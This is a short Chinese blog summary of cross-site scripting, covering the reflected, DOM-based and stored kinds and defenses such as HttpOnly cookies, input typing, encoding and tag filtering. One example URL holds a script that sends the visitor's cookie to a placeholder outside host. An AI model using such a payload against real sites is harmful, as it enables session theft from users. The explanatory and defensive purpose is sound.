zoukankan      html  css  js  c++  java
  • XSS攻击总结

    本文由 http://www.cnblogs.com/phpstudy2015-6/p/6767032.html 整理总结而来

    XSS又称CSS(cross site script),译为跨站脚本攻击,是web程序中常见的漏洞。

    原理:

    攻击者向有XSS漏洞的网站输入恶意代码(耗时间),当用户浏览该网站时(被动),此代码自动执行,从而攻击。

    多用于盗取cookie、破坏页面结构、重定向。

    优点:

    几乎所有网站都有

    缺点: 

    1.耗时间

    2.有一定的几率不成功

    3.没有软件来实现自动化攻击

    4.属于客户端的攻击方式

    5.手法被动

    6.对website有http-only、crossdomian.xml没有用(无法获取cookie)

    攻击点:

    类似于SQL注入攻击,理论上:所有可输入的地方,如果没有对输入数据进行处理,都存在XSS漏洞。

    反射型

    又称为非持久型,是最常见的XSS,原理是攻击者将注入的数据反映在响应中,因为这输入-->反馈的过程,因此称之为反射。最典型的就是一个包含XSS攻击的链接。

    例如: http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>就把cookie偷走了

    DOM Based XSS

    从效果上来说也能称之为反射型。但其触发条件限制为: 用户可以通过交互修改浏览器的dom

    前提是页面通过不安全的方式从document.location或document.URL或document.referer获取数据

    注意:

    1.恶意程序脚本在任何时候不会嵌入自然状态下的html页面

    2.只有在浏览器没有修改URL字符时起作用,因为当url不是从地址栏输入,chrome、firefox等浏览器会自动转换document.url中的字符(例如<、>),一些老旧浏览器,例如IE6,则不会,因此很容易被攻击。

    持久型

    又称存储型,顾名思义,XSS攻击代码存储于数据库中,而前两种存于内存中,每次当用户打开此网页时便会执行,相比于前两者危害更大,常用语留言板,每次当用户查看留言信息时即触发。

    解决方案:

    过滤和编码

    1.将重要的cookie标记为http only,这样document.cookie就不能获取cookie

    2.表单数据规定类型,例如年龄为int、name为字母数字组合

    3.对数据进行编码处理

    4.移除特殊html标签,例如script、iframe

    5.过滤js事件

  • 相关阅读:
    HDU
    【JZOJ1252】【洛谷P5194】天平【搜索】
    【JZOJ1252】【洛谷P5194】天平【搜索】
    【JZOJ3896】战争游戏【割点】
    【JZOJ3896】战争游戏【割点】
    【JZOJ3895】数字对【ST表】
    【JZOJ3895】数字对【ST表】
    【JZOJ3894】改造二叉树【树】【LIS】
    【JZOJ3894】改造二叉树【树】【LIS】
    【洛谷P4014】【网络流24题】分配问题【费用流】
  • 原文地址:https://www.cnblogs.com/yanze/p/7562001.html
Copyright © 2011-2022 走看看